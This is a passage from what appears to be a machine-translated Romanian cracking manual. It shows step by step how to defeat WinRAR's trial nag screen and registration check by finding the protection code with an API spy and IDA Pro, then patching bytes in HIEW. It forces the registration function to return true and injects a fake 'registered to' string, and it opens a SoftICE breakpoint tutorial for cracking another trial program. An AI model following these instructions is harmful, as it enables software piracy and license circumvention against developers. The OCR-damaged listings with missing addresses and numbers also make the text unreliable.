sunt probabil sr de profesorul Nimnul și pcracker de laboratoarele doctorului Stein Dar găsirea unui program potrivit care să accepte formatul dvs crk este deja preocuparea utilizatorului care decide să pirateze programul În treacăt, observăm că distribuirea fișierelor crk nu este o încălcare și nu este pedepsită prin lege, deoarece astfel de fișiere nu sunt instrumente de hacking Acestea conțin doar informații despre cum să efectuați acest hack De acord că, dacă spunem că „o împușcătură de la un pistol în tâmplă duce la moartea unei persoane”, atunci niciunul dintre anchetatori nu va putea să ne tragă la răspundere pentru acest lucru Dar un utilizator care decide să-ți folosească crack-ul poate avea probleme cu legea, deoarece, făcând acest lucru, încalcă drepturile de autor ale dezvoltatorilor de programe Paradoxal, însă, avem lumea! Pentru a evita problemele de compatibilitate, uneori sunt folosite fișiere executabile (C U le poate genera și pe acelea) care efectuează modificări programului în mod automat (și adesea ocupă mai puțin spațiu!) Dar principalul lor dezavantaj este că fișierul executabil, conform legilor noastre, nu mai este o informație, ci un instrument de infracțiune etc prin urmare, nu poate fi distribuit legal Ei bine, am lucrat mult și probabil am învățat multe lucruri noi A fost o apărare foarte simplă și avem un drum foarte lung, dar interesant în față Exemplu practic de hacking Cel mai bine este să înveți hacking pe apărări simple Un exemplu de astfel de protecție este implementat în arhivatorul WinRAR, de care acum vom avea nevoie complet Urmând acest exemplu, veți învăța cum să utilizați un editor hex, un spion API și un dezasamblator pe parcurs În ceea ce privește principiile de lucru cu depanatorul, acestea vor fi discutate în Capitolul O versiune proaspăt instalată de WinRAR funcționează timp de de zile, după care începe să necesite înregistrarea de fiecare dată când pornește, aruncând așa-numitul ecran NAG (Fig ) Acest lucru este foarte enervant pentru utilizatori, determinându-i să dorească în mod natural să elimine acest ecran Partea a II-a Tehnici de bază de hacking Orez Ecranul de cerere de înregistrare afișat de WinRAR după expirarea perioadei de probă Ca exemplu de hacking s-a ales versiunea , la care duce linkul http://www rarsoft com/rar/wrar exe Toate celelalte versiuni sunt sparte în același mod, doar offset-urile octeților „protectori” vor fi diferite Pentru a implementa hack-ul, veți avea nevoie de orice editor hex (de exemplu, HIEW), Kerberos API spion, dezasamblator IDA Pro și editor de resurse (de exemplu, încorporat în Microsoft Visual Studio) Diferite versiuni de HIEW au diferite aspecte ale tastelor rapide, ceea ce creează o oarecare confuzie Vom folosi versiunea gratuită , care nu are limitări funcționale Cele mai recente versiuni ale HIEW sunt distribuite comercial Suprimarea ecranului NAG Orice casetă de dialog nu este afișată de sine stătător, ci este afișată de o funcție API Prin interceptarea funcției API care scoate NAG, putem dezasambla codul defensiv care îl apelează și putem analiza condițiile care determină apariția NAG Există multe funcții API asociate cu casetele de dialog: CreateDialog, DialogBox, MessageBox etc Pe care a folosit-o dezvoltatorul WinRAR? Pentru a nu ghici, vom folosi spionul API El va arăta totul Cu toate acestea, înainte de a începe să spionăm, să setăm un filtru, astfel încât Kerberos să respingă apelurile API neinformative care aglomera fișierul de raport Pentru a face acest lucru, deschideți fișierul ke spy txt și comentați următoarele funcții: TlsGetValue, DefWindowProcA, DispatchMessageA, GetFocus, GetMessageA, SendMessageA, SendMessageW, TranslateAcceleratorA, TranslateAcceleratorw și TranslateMessage (pentru a comenta o funcție înainte de numele acesteia, introduceți un ) Pentru a îmbunătăți filtrarea, este logic să apăsați butonul Opțiuni și să bifați caseta de selectare Raportare numai apeluri exe (Fig ) Acest lucru vă va permite să colectați apeluri API numai de la winrar exe, nu de la DLL-urile pe care le încarcă Dacă nu se face acest lucru, nu se va întâmpla nimic groaznic, dar fișierul de raport se va dovedi a fi prea lung și va fi mult mai dificil de analizat După ce ați configurat filtrul, faceți clic pe butonul Browse, specificați calea către directorul în care este instalat WinRAR și faceți clic pe butonul Inject (Fig ) După ce așteptați să apară ecranul NAG, închideți WinRAR și deschideți fișierul de raport WinRAR rep, care va fi salvat în același director cu WinRAR Vezi Capitolul I, „Setul de instrumente pentru hacker” Capitolul Încălzirea Orez Filtrați configurația repornind Kerberos API spy Orez Spionul API Kerberos este gata de funcționare Orez Examinarea codului de securitate cu dezasamblatorul IDA Pro Partea a II-a Tehnici de bază de hacking Cel mai bine este să începeți examinarea fișierului de raport (lista ) de la sfârșit (deoarece ecranul NAG apare ultimul, când interfața principală a fost deja inițializată) Numai nevăzătorii nu vor expune un apel la funcția DialogBoxParamA care afișează o casetă de dialog numită REMINDER Ea este cea care creează enervantul ecran NAG : Lista Fragment dintr-un fișier de raport generat de Kerberos API spion WinRAR exe| B |LoadAcceleratorsA( , BA : „VIEWACC”) returnează: E F WinRAR exe| F |DialogBoxParamA( , FE s"REMINDER", , FF , ) retuxns: WinRAR exej F B|WaitForSingleObject( , A) returnează: Kerberos raportează chiar adresa de retur a funcției, A h, conducând direct la codul de securitate Să ne uităm aici cu un dezasamblator? Încărcați WinRAR exe în IDA PRO, apăsați tasta (Salt la adresă), introduceți adresa de retur din funcție ( A ) și în final apăsați (Fig ) Veți vedea imediat apelul către DialogBoxParamA, deasupra căruia este codul dezasamblat afișat în Lista - Lista Cod mecanism de protecție WinRAR dezasamblat F D domnule dword B A , F jnz scurt loc F F cmp byte A , F D nz scurt loc F F F domnule byte B E , F jnz scurt loc F F domnule byte F BC, F F jnz scurt loc F F mov eax, dword B C F cmp eax, h F scurt loc F F F B test eax, eax F D ige scurt loc F F F F F loc F F: ; COD XREF: sub C + îj F F mov byte A , F împingere ; doublenitParam F push offset sub FF ; IpDialogFunc F D push dword B C ; hWndParent F push offset aMemento ; IpTenplateName F push hLibModule ; hlnstance F E apelează DialogBoxParamA F loc F : ; COD XREF: sub C + Ctj F ; sub C + îj F crp dword B A , După cum puteți vedea, funcția DialogBoxParamA este apelată când se execută ramura condiționată: cmp eax, h/jg loc F F (sărire dacă eax > h) În zecimală, h este egal cu Aceasta este perioada demo la care avem dreptul Acum, sensul „fizic” al variabilei dword B C , care conține numărul de zile care au trecut de la instalarea programului, devine clar Așadar, a fost găsit „sediul” mecanismului de apărare! Cum vom proceda? Pentru a dezactiva NAG, puteți, de exemplu, să înlocuiți cmp eax, h ( F ) cu xor eax,eax/thr ( co/ ), apoi eax va fi întotdeauna zero, indiferent de data actuală actuală Aveam nevoie de comanda pore pentru a compensa scăderea lungimii instrucțiunii (str ia trei octeți, iar hog doar doi) Capitolul Încălzirea Orez Trei octeți blochează ieșirea ecranului NAG Rulați HIEW, încărcați winrar exe, apăsați tasta de două ori pentru a comuta în modul de asamblare Apoi apăsăm tasta (goto) și introducem valoarea F - adresa instrucțiunii de pagină (punctul este necesar pentru a spune editorului / HIEW că aceasta este adresa și nu offset-ul din fișier) ) Apăsăm pentru a comuta în modul de editare (editare), apoi - pentru a intra în instrucțiunea de asamblare În caseta de dialog care apare, scrieți xor eax, eax apoi ESC> Salvăm toate modificările din fișier apăsând tasta și ieșim (Fig ) Începem WinRAR Acum ecranul NAG nu mai apare! Întreaga procedură de hacking nu a durat nici măcar zece minute! Alternativ, puteți înlocui mov eax, dword B C (ai C v ) cu mov eax, (v O oo oo oo), iar apoi WinRAR va considera că au trecut întotdeauna exact șase zile de la înregistrare De ce doar șase? Ei bine, nu șase, deci nouă Ce diferenta face la noi?! Principalul lucru este că această valoare nu depășește ! De asemenea, puteți înlocui jg short loc F F ( f ) cu jmp short loc F (ev ), apoi saltul necondiționat va sări în dialog indiferent de ora curentă Cea mai frumoasă soluție este considerată a fi cea care necesită corecții minime Cele mai bune dintre soluțiile propuse sunt piratate cu doi octeți, dar puteți descărca programul cu unul Găsirea acestui octet este ceea ce ar trebui să facă un hacker adevărat! Înregistrare forțată În ciuda faptului că enervantul NAG-ecran este suprimat cu succes, programul rămâne neînregistrat și scrie sincer în titlul ferestrei: „litier de evaluare” Și dacă apăsați butonul Despre, vom vedea o copie de probă de de zile Și deși nu există restricții în versiunea demo, pur psihologic, lucrul cu o copie înregistrată este mult mai plăcut Se știe că înregistrarea se realizează folosind un fișier cheie cu semnătură electronică generată pe bază criptografică astfel încât falsificarea cheii Partea a II-a Tehnici de bază de hacking era imposibil Toate acestea sunt adevărate, dar nu avem nevoie de cheie! Vrem doar să setăm steagul de înregistrare! Și cum să-l găsesc? Să revenim la Lista Deasupra streax-ului de instrucțiuni, h deja cunoscut de noi, există o serie întreagă de salturi condiționate care, în anumite circumstanțe, sar peste această casetă de dialog Evident, unul dintre ele aparține steagului de înregistrare (la urma urmei, ecranul NAG nu este afișat pentru utilizatorii înregistrați) Cum se detectează această tranziție? Vom acționa conform planului Alocarea variabilei byte A este determinată imediat Când este afișată o casetă de dialog, aici este scris Aceasta înseamnă că dialogul a fost deja afișat și nu este necesar să îl afișați din nou Variabila dword B A este mult mai dificil de tratat Pentru a afla ce cod îl folosește și în ce scop, trebuie să vă uitați la referințele încrucișate Aducem cursorul la numele variabilei, apelăm meniul contextual și selectăm elementul de salt la xref sau pur și simplu apăsăm tasta Caseta de dialog prezentată în fig xrefs la dword B A Orez Cercetare de referință încrucișată Ce vedem? Un număr mare de referințe încrucișate de citire (r) și scriere (w) împrăștiate în corpul programului, iar dec și inc domină printre aceste referințe Arată puțin ca un steag de înregistrare Cel mai probabil, acesta este un fel de semafor sălbatic (semafor) folosit pentru a organiza blocajele (în cazul general, o piesă de rezervă din interfață) Există trei referințe încrucișate la byte B E , dintre care două sunt în imediata apropiere a funcției DoDragDrop, astfel încât să poată fi eliminate imediat Dar variabila byte F BC este o adevărată comoară Există multe referințe încrucișate de citire și scriere la acesta, dar toate valorile de scriere sunt returnate fie de sub DB C, fie de sub A Și o singură legătură duce la comanda mov byte F BC, , care resetează forțat această variabilă La prima vedere asupra funcției sub A , liniile de text rarkey, formatate cu grijă ca comentarii de către dezasamblator, sunt izbitoare Aha! Aceasta pare să fie procedura responsabilă pentru înregistrare (Figura ) Aducem cursorul la început, apăsăm tasta și îl redenumim în DoRegister Funcția sub DB C este, de asemenea, ușor de înțeles Este suficient să analizați codul chiar la începutul funcției DoRegister (Listingul - ) Orez Codul dezasamblat al funcției DoRegister este dezvăluit de prezența șirurilor de text rare bіystg e« ? Іаga Pagina de proc DoRegister sunați la А test A E А А jz A A mov A A mov A AA mov A B jmp sub DB C al, al scurt loc A B al, edx, [ebp+var llC] fs mare: , edx loc A D ; Continuați înregistrarea ,- Du-te la ieșire Dacă funcția sub DB c returnează zero, funcția DoRegister continuă înregistrarea O valoare diferită de zero face ca funcția să iasă imediat Este logic să presupunem că funcția sub DB C raportează pur și simplu starea de înregistrare: zero - o copie neînregistrată a programului și o valoare diferită de zero - copia programului este înregistrată sincer Mutați cursorul la începutul funcției sub DB c și redenumiți-o în isRegistered Ce e de facut in continuare? Să facem ca funcția isRegistered să returneze întotdeauna o valoare diferită de zero! Apoi programul va fi recunoscut ca înregistrat, în ciuda faptului că nu avem un fișier cheie certificat printr-o semnătură electronică Rulați HIEW, apăsați de două ori pentru a comuta în modul dezasamblare, apăsați , introduceți valoarea DB C (adresa funcției IsRegistered) Apoi apăsați tasta pentru a comuta în modul de editare și introduceți următoarele comenzi: xor еах, ех inc ех retn (resetați registrul ех, măriți-l imediat cu unul și ieșiți funcția) Scriem modificările apăsând tasta și ieșim din HIEW Partea a II-a Tehnici de bază de hacking Orez Acum copia WinRAR este „înregistrată” Pornim WinRAR și vedem că inscripția „copie de evaluare” din titlul ferestrei dispare ascultător, iar linia „Înregistrat la” apare în fereastra Despre (Fig ) Notă Adevărat, după adăugarea oricărui fișier în arhiva * gag, înregistrarea dispare în mod misterios Și totul pentru că am uitat să schimbăm comanda mov byte F BC, , situată la offset D h, în mov byte F BC, Să facem asta, iar apoi inscripția „litter de evaluare” nu va mai apărea niciodată! Hack pur sau îmblânzire fereastra Despre Inscripția „Înregistrat la” este, desigur, bună Cu toate acestea, o întrebare rămâne fără răspuns - cui este exact programul înregistrat Primul lucru care îți vine în minte este să găsești linia Registered to în program (se află acolo la offset DBA h) și să-l înlocuiești cu semnătura ta, de exemplu, piratată de kpnc Din păcate, nu va fi posibil să se accepte o poreclă mai lungă, deoarece lungimea maximă admisă a șirului este strict limitată Prin urmare, este mai bine să mergeți în altă direcție și să găsiți codul care afișează această linie! În acest scop, lansăm Kerberos, încărcăm winrar exe și deschidem dialogul Despre WinRAR Apoi închidem winrar exe și ne uităm la protocol, la sfârșitul căruia apare linia DialogBoxParamA( , : „ABOUTRARDLG“, AA, , ), numită iDich Da, acesta este dialogul nostru Despre WinRAR! Ne întoarcem la IDA Pro și mergem la adresa specificată (lista ) Lista Cod Crearea casetei de dialog Despre WinRAR D împingere D împingere D C împingere D împingere D caii offset sub dword B C offset a Aboutrardlg hLibModule DialogBoxParamA ; IpDialogFunc Funcția sub i , așa cum sugerează IDA Pro, este o procedură de fereastră responsabilă pentru afișarea dialogului Să vedem ce e acolo? Veți vedea un număr mare de apeluri Capitolul Încălzirea la funcția SetDlgitemTextA De care avem nevoie? Pentru a răspunde la această întrebare, trebuie să aflați ID-ul controlului corespunzător Lansăm Microsoft Visual Studio (sau orice alt editor de resurse), selectăm comanda Deschide fișierul, selectăm opțiunea Toate ilile în câmpul Tip fișier și setăm opțiunea Resurse în câmpul Osp ca (dacă nu se face acest lucru, fișierul va să fie deschis ca binar, ceea ce nu este deloc inclus în planurile noastre) În arborele de resurse găsim ramura Dialogs, iar în ea - DESPRE RARDLG Faceți dublu clic pe acest nume (sau apăsați ) Se va lansa editorul de resurse Printre elementele acestei casete de dialog, găsiți linia copie de probă de zile (Fig ), în locul căreia se afișează linia Registered to în versiunea înregistrată și, apelând meniul contextual, determinați-i id-ul În acest caz, acest identificator este (sau h) eu Orez Definirea unui ID de câmp de ieșire utilizând Editorul de resurse Microsoft Visual Studio Privind prin lista dezasamblată, căutăm o astfel de funcție SetDlgitemTextA, al cărei argument va fi identificatorul bb Acest apel este localizat la ECH (Listing - ) : Lista Cod care afișează șirul „Înregistrat la” E caii EB împingere EC push EE împingere F caii sub DC h [ebp+hDlg] SetDlgitemTextA ; IpString ; nlDDlgltem Funcția sub- DC returnează un pointer către șirul de ieșire, care este transmis imediat funcției SetDlgitemTextA Nu vom studia funcția sub DC ca atare Numele utilizatorului înregistrat este preluat din fișierul cheie, peste care puteți sta pentru tot restul vieții Este mult mai ușor să injectați propriul șir în fișierul executabil și să înlocuiți indicatorul Vom fi introduși în secțiunea de date, în coada căreia există aproape întotdeauna spațiu liber Nu puteți plasa șirul de ieșire în secțiunea de cod, deoarece WinRAR necesită ca acesta să poată fi scris Partea a II-a Tehnici de bază de hacking Orez Catalogul secțiunii Orez Introducerea unui șir fals cu numele utilizatorului „înregistrat” Orez Versiune complet piratată și înregistrată de WinRAR Capitolul Încălzirea Deschideți HIEW, apăsați tasta o dată pentru a comuta în modul hex, apăsați pentru a afișa antetul fișierului, apoi apăsați tasta pentru a apela tabelul cu obiecte În spatele secțiunii data se află secțiunea tis (Figura ) Ajustăm cursorul aici și apăsăm , apoi mutăm câteva rânduri în sus, având grijă să nu intrăm în date semnificative care încep acolo unde se termină șirul de zerouri În cazul nostru, aceasta va fi adresa D B h (deși, dacă doriți, puteți alege, de exemplu, D AEh, D AFh etc ) Apăsați pentru a comuta în modul de editare și scrieți linia Versiune înregistrată piratată de nezumi (Fig ) Acum săriți la E h, revenind la procedura ferestrei noastre (vezi Lista ) și înlocuiți caii sub DC (E FI CB FC FF) cu mov eax, D B (B BO D ), unde D B h este adresa liniei piratate Salvați modificările la fișier și ieșiți Trucul nostru a funcționat (Figura ) Acum versiunea piratată nu este diferită de cea înregistrată legal! Desigur, asta nu înseamnă că acum poți folosi WinRAR și nu plătești nimic pentru el (la urma urmei, nimeni nu a anulat legile) Exemplul a fost oferit doar în scopuri educaționale Concluzie Mulți dezvoltatori folosesc semnături electronice și alte mecanisme criptografice, în speranța că îi vor proteja de hackeri rău intenționați Indiferent cât de! Criptografia, desigur, este un lucru puternic, dar are nevoie de propria abordare Dacă un program se bazează pe indicatorul de înregistrare (care este ceea ce fac majoritatea programelor), este pur și simplu piratat prin editarea câțiva octeți, care durează foarte puțin timp pentru a găsi Capitolul Noțiuni introductive cu depanarea Aproape toată lumea știe că programele sunt piratate cu un depanator, dar nu toată lumea știe cum se face acest lucru în practică De fapt, nu este nimic complicat în acest sens Este suficient să stăpânești câteva trucuri simple și deja poți începe să hacking Cum funcționează exact depanatorul nu este încă necesar să știm Mult mai relevantă este întrebarea care depanator ar trebui utilizat și în ce scopuri Cunoscut pe scară largă în cercurile utilizatorilor, Turbo Debugger este de fapt destul de primitiv și doar câțiva sparg ceva cu el Cel mai puternic și versatil instrument este SoftICE, acum disponibil pentru toate platformele Windows După cum sa menționat în capitolul /, la aprilie , Compuware a anunțat că nu mai susține acest proiect Cea mai recentă versiune a produsului, DriverStudio , acceptă întreaga linie de sisteme de operare Windows (până la Windows Server ), precum și arhitectura AMD x - Aceasta înseamnă că în următorii ani, hackerii se vor putea baza în continuare pe SoftICE, dar după aceea vor trebui să vină cu altceva Inițial, depanarea a fost înțeleasă ca trecerea prin cod, numită și urmărire Astăzi, programele sunt atât de umflate încât urmărirea lor este inutilă - vă veți îneca imediat într-un vâltor de proceduri imbricate fără a înțelege ce fac ele de fapt Depanatorul nu este cel mai bun instrument pentru studierea algoritmului programului - un dezasamblator interactiv (de exemplu, IDA Pro) este mai bun la asta Vom amâna pentru viitor o discuție detaliată despre dispozitivul depanatorului și aici ne vom limita la o listă a principalelor funcționalități ale depanatoarelor tipice (fără aceasta, utilizarea lor semnificativă este imposibilă): □ Urmărirea acceselor de scriere/citire/executare la o anumită celulă de memorie (regiune), denumite în continuare puncte de întrerupere □ Urmărirea acceselor de scriere/citire la porturile I/O (nu mai sunt relevante pentru sistemele de operare moderne care interzic aplicațiilor utilizatorului să facă astfel de trucuri - aceasta este acum apanajul driverelor, iar la nivel de driver sunt implementate foarte puține mecanisme de protecție) □ Urmărirea încărcării DLL-urilor și apelarea unor funcții specifice din acestea, inclusiv componentele sistemului După cum veți vedea mai jos, aceasta este principala armă a biscuitului modern □ Urmărirea apelului întreruperilor software/hardware (în cea mai mare parte nu mai este relevantă - nu atât de multe mecanisme de protecție joacă cu întreruperi) □ Urmăriți mesajele trimise de o aplicație către o anumită fereastră □ Căutare context în memorie Capitolul Introducere în Depanare Introducere în depanare Depanatorul este un instrument incredibil de puternic în mâinile unui cracker, dar are nevoie de o abordare diferită Majoritatea hackerilor începători încep să depaneze din punctul de intrare, ceea ce face ca întregul proces să piardă într-o buclă de preluare a mesajului Trecerea printr-un program (numit și urmărire) necesită prea mult timp și extrem de ineficientă Aplicațiile bazate pe evenimente (care includ aproape toate aplicațiile Windows) nu sunt depanate în acest fel Să presupunem că urmărim o aplicație MFC, ajungem la apelul la AfxWînMain și ne aflăm adânc în MFC DLL, din care este deja apelat tot codul de utilizator Cu toate acestea, înainte ca urma să ajungă la ea, ai timp să îmbătrânești Dar depanarea întregului program este complet opțională! Hackerii experimentați urmăresc doar anumite părți ale codului de securitate Dar cum îl găsim în milioanele de instrucțiuni ale unui fișier executabil? Există multe tehnici: puncte de întrerupere, derularea stivei, referințe încrucișate, urmărire condiționată, căutare directă a parolelor/numerelor de serie în memorie etc Să vorbim despre toate acestea mai detaliat De exemplu, vom sparge programul Drive LED de la O&O Software, a cărui versiune demo de de zile poate fi descărcată de pe site: http://www oo-software eom/en/download/index shtml Dezasamblator și depanator într-un singur cablaj Aproape fiecare depanator conține un dezasamblator încorporat - la urma urmei, nu vom depana programul direct în codul mașinii, nu? Cu toate acestea, dezasamblatoarele încorporate disponibile în SoftICE sau OllyDbg sunt prea primitive și nu oferă suficientă vizibilitate IDA Pro este mult mai puternic Acest dezasamblator recunoaște automat numele funcțiilor bibliotecii, determină tipurile de variabile locale și face multe alte lucruri utile În special, IDA Pro vă permite să comentați o listă și să atribuiți etichete de caractere instrucțiunilor și datelor Explorarea programelor protejate cu acest dezasamblator este o adevărată plăcere Cu toate acestea, apelurile precum caii [ebx+ hi înfurie hackerii, mai ales dacă funcția este apelată din locuri diferite cu ebx diferit Aflarea valorii ebx în dezasamblator poate dura o zi întreagă, în timp ce în depanator este suficient doar să-l „peep” Să luăm în considerare încă un exemplu Să presupunem că în programul studiat se numește ceva la adresa E B D, care se află undeva adânc în măruntaiele sistemului de operare Vă rugăm să rețineți că atunci când dezasamblați depozitele de memorie, veți întâlni astfel de adrese la fiecare pas În depanator, pur și simplu lansați comanda u E B D și veți vedea imediat că aceasta este funcția CreateFileA Nu are sens să argumentezi care este mai tare - un depanator sau un dezasamblator Aceste instrumente se completează reciproc Este mai bine să încredințați reconstrucția algoritmilor dezasamblatorului și să clarificați toate locurile de neînțeles din depanator Încărcarea simbolurilor în depanatorul SoftICE se face într-un mod destul de nenatural, care derutează mulți începători (Figura ) În primul rând, dosarul investigat este procesat folosind IDA Pro Apoi, din meniul Fișier, selectați Produce fișier de ieșire | Produceți fișierul MAP Rețineți că numele fișierului MAP trebuie să se potrivească cu numele fișierului dezasamblat în sine În caseta de dialog care apare, setați toate cele trei opțiuni: Informații de segmentare (informații despre segmente), Nume generate automat (nume generate automat) și Nume demangle (nume „mangled”) Fișierul MAP rezultat este procesat de utilitarul idasym, care poate fi descărcat de pe http://www idapro com/ și convertit în formatul SYM Fișierul SYM rezultat este apoi convertit într-un fișier NMS folosind utilitarul nmsym furnizat cu SoftICE Deci, jumătate din muncă este gata Acum, în timp ce NuMega Synibol Loader pornește, puteți lua o pauză Partea a II-a Tehnici de bază de hacking Orez Încărcarea informațiilor despre simbol în depanator utilizând Symbol Ioader start| | L slmple ene-Far l; •' : Orez Depanarea unui fișier fără informații simbolice Capitolul Introducere în Depanare Orez Depanare fișiere cu informații simbolice generate automat de IDA Pro Odată ce NuMega Symbol Loader s-a încărcat, selectați Deschidere din meniul Fișier, deschideți fișierul NMS nou creat și alegeți Modul | sarcină Mesajul Simboluri pentru C:\temp\simple nms încărcat cu succes indică faptul că totul a mers bine Acum puteți deschide executabilul în sine (Fișier | Deschidere și Modul | Încărcare) Comparați cum arată ecranul depanatorului cu și fără informații simbolice (Figurile și ) Fără informații simbolice, scopul funcțiilor h și h nu este deloc evident și poate dura câteva ore pentru a le depana Cu informații simbolice, totul este clar și simplu În plus, în punctele de întrerupere pot fi folosite nume simbolice, de exemplu: bpx fgets (setează un punct de întrerupere pe funcția de citire a parolei) sau bmp aMygoodpassword (setează un punct de întrerupere pe codul accesând parola de referință) Puncte de întrerupere a funcției API Punctele de întrerupere (aka breakpoints, numite colocvial „puncte de întrerupere”) sunt principala armă a unui hacker în lupta împotriva mecanismelor de apărare Punctele de întrerupere ale funcțiilor API sunt cele mai populare Citirea conținutului unei ferestre se face adesea (dar nu întotdeauna) de către funcția API GetwindowTextA, deschiderea unui fișier de către CreateFileA, încărcarea unei biblioteci dinamice de către LoadLibraryA și așa mai departe Făcând acest lucru, ea își demască locația în codul studiat, conducând hackerul pe urmele ei Problema este că există o mulțime de funcții API și nu este atât de ușor de ghicit în ce mod protecția manipulează fereastra De obicei, fie se folosește o enumerare „prostească” a tuturor funcțiilor API posibile în ordine, una după alta, fie se folosesc spioni API pentru a arăta ce se întâmplă „sub capota” programului depanat A doua abordare este mult mai eficientă S-a discutat în capitolul b, când s-a discutat despre procedura de spargere a arhivatorului WinRAR Partea a II-a Tehnici de bază de hacking Pentru a seta un punct de întrerupere pe o funcție API, trebuie doar să apăsați + și, după ce așteptați ca depanatorul să apară pe ecran, introduceți linia bpx function name În SoftICE, punctele de întrerupere sunt globale Dacă setăm un punct de întrerupere pentru funcția CreateFileA, depanatorul va apărea de fiecare dată când încercăm să deschidem/creăm orice fișier Aici este bucuria! Pentru a limita ardoarea depanatorului, trebuie să utilizați puncte de întrerupere condiționate Să presupunem că vrem ca depanatorul să apară atunci când accesăm fișierul keyfile key Deschidem documentația MSDN și ne uităm la prototipul funcției CreateFile Vedem că pointerul ipFiieName este trecut în argumentul din stânga Deoarece argumentele funcției API sunt împinse în stivă de la dreapta la stânga, indicatorul către numele fișierului deschis va ajunge în partea de sus a stivei, cu doar adresa de retur deasupra acestuia Astfel, în momentul în care funcția CreateFile este apelată, IpFileName va fi la offset față de esp, iar punctul de întrerupere condiționat va arăta astfel: bpx CreateFileA if (*( esp-> )==' keyf ') Numele fișierului cuprins între ghilimele este convertit automat de către depanator într-o constantă de de biți și, prin urmare, lungimea acestuia nu trebuie să depășească octeți Notă Rețineți că depanatorul ține cont de majuscule și minuscule (deci keyf' și Keyf' nu sunt identice pentru el), dar sistemul de fișiere nu este În cele mai multe cazuri, o comparație parțială a numelui este suficientă atunci puteți utiliza operatorul și și comparați mai multe subșiruri de biți per operație Sintaxa pentru punctele de întrerupere condiționate este detaliată în documentația SoftICE (vezi, de exemplu, http://www woodmann com/crackz/Tutorials/Siceinst htm, http ://www reconstructer org/papers/The% blg% SoftlCE% howto pdf, precum și documentația furnizată cu SoftICE), așa că nu ne vom opri asupra ei în detaliu Multe mecanisme de protecție rezistă punctelor de întrerupere De exemplu, ei pot începe să execute o funcție API nu de la primul octet, iar în astfel de cazuri trebuie să recurgă la setarea unui punct de întrerupere pe funcțiile API native, care sunt un fel de fundație a sistemului de operare, sub care sunt doar eu / O porturi și drivere O descriere a funcțiilor Native API poate fi găsită în celebra Lista Intenupt de Ralf Brown, vezi http://www cs cmu edu/~ralf/files html sau în cartea Funcții nedocumentate Microsoft Windows NT / " de Tomasz Nowak, care poate fi găsit la http://undocumented ntinternals net/ În special, NtCreatrFile este folosit pentru a crea/deschide fișiere Depanatorul OllyDbg acceptă un mecanism de întrerupere condiționat mult mai puternic, care vă permite să urmăriți aproape orice situație De exemplu, eax == „mypswd” - apare când registrul eax indică șirul cu parola/numărul de serie pe care l-am introdus în timpul înregistrării Aceasta este o metodă universală de hacking potrivită pentru aproape toate apărările Indiferent de modul în care programul preia conținutul ferestrei de editare, la un moment dat va încărca inevitabil indicatorul într-un registru Aici va apărea depanatorul! Procedura de verificare a parolei va fi localizată undeva în apropiere Desigur, acest registru nu trebuie să fie eax Este probabil ca compilatorul să folosească eux, esi sau altceva Documentația OllyDbg susține expresia R == „mypswd”, unde R este orice registru de uz general Cu toate acestea, în versiunile actuale ale depanatorului, această construcție nu funcționează și toate registrele trebuie sortate manual (din fericire, puteți scrie propriul plugin care automatizează acest proces) Pe lângă punctele de întrerupere API, puteți seta puncte de întrerupere pentru funcțiile bibliotecii În aplicațiile scrise în Delphi, Builder, MFC, Visual Basic, apelurile directe API sunt rareori folosite Și deși nicio afacere nu se poate lipsi de funcțiile API, desigur, analiza lor nu dă mare lucru Acest lucru este valabil mai ales dacă sunt utilizate ferestre dinamice și alte tehnologii de lux Capitolul Introducere în Depanare Cu toate acestea, funcțiile bibliotecii sunt ușor de recunoscut de IDA Pro, iar punctele de întrerupere sunt setate pe ele ca și funcțiile API obișnuite, singura diferență fiind că punctul de întrerupere este local, afectând doar aplicația care este depanată Și asta înseamnă că după apăsarea + , trebuie să comutăm contextul de control pentru a intra în spațiul de adrese al aplicației care este depanată Acest lucru se face fie cu comanda addr processname, fie prin setarea unui punct de întrerupere pe orice funcție API numită de aplicația care este depanată De exemplu, să fie sendMessageA Apăsați + , scrieți bpx MeggsageBoxA, ieșiți din SoftICE, așteptați să apară (dacă depanatorul nu apare, puteți face clic pe fereastra programului care este depanat) Dacă numele procesului dorit este indicat în colțul din dreapta jos al ferestrei depanatorului, totul este OK, altfel ieșim din depanator și așteptăm să apară din nou Puncte de întrerupere a mesajelor Să presupunem că avem o fereastră cu mai multe controale (meniu, casetă de selectare sau buton) pe care dorim să urmărim clicurile (vezi Figura ) Cum să o facă? Foarte simplu! Setează un punct de pauză pentru un mesaj! În Windows, întreaga interfață se bazează pe mesaje (Charles Petzold a scris bine despre asta în cartea sa „Programming for Windows ” ) În special, când se face clic pe un control (sau se schimbă fereastra de editare), un mesaj wm command este trimis în fereastră Aici îi vom pune un punct de întrerupere, dar mai întâi vom defini mânerul (mânerul) ferestrei Orez Fereastra pentru a seta un punct de întrerupere Acest lucru se poate face fie cu orice spion Windows (de exemplu, Spyxx, care face parte din Microsoft Visual Studio), fie prin intermediul SoftICE în sine (în special, comanda hwnd, care afișează o listă cu toate elementele ferestrei) Dacă, ca răspuns la comanda hwnd, SoftICE afișează mesajul incapabil să găsească o fereastră de desktop, trebuie să comutați contextul cu comanda addr Un fragment din raportul rezultat este prezentat în Lista Coloana din stânga conține descriptori ai elementelor ferestrei, coloana din dreapta conține numele modulelor cărora le aparțin aceste elemente Numele modulelor nu se potrivesc întotdeauna cu numele proceselor De exemplu, dacă fereastra Petzold Ch Programare pentru Windows Vol I—II - Sankt Petersburg: VNV - Sankt Petersburg, Partea a II-a Tehnici de bază de hacking aparține unei biblioteci dinamice, SoftICE scrie numele DLL-ului, nu procesul principal În acest exemplu, dialogul este procesat de biblioteca oodlrwrs, care poate fi găsită folosind comanda mod Lista Definirea mânerelor de control și ferestre Mâner clasă WinProc TID modul VMDropTargetClass VMDropTargetClass VMDropTargetClass VMDropTargetClass C NDDEAgnt BC # (dialog) # (Dialog) F BC E F BC E F î Hr î Hr VMwareUser VMwareUser VMwareUser VMwareUser winlogon comctl oodlrwrs F FE Button F BC E BC oodlrwrs Button F BC E BC oodlrwrs B F Button F BC E BC oodlrwrs Static F BC E BC oodlrwrs Static E AA BC oodlrwrs Static E AA BC oodlrwrs C Static E AA BC oodlrwrs F Static F BC E BC oodlrwrs A Static E AA BC oodlrwrs F Static E AA BC oodlrwrs Puteți vedea că cele trei controale (butoane) care ne interesează aparțin dialogului # cu descriptorul În principiu, puteți pune un punct de întrerupere și pe - adresa procedurii ferestrei (winProc) este aceeași pentru ele Introduceți comanda bmsg wm command și ieșiți din SoftICE Apăsăm butonul Următorul, iar depanatorul apare ascultător! După aceea, rămâne doar să urmăriți puțin procedura ferestrei în căutarea codului care gestionează acest clic Puncte de întrerupere a datelor Cel 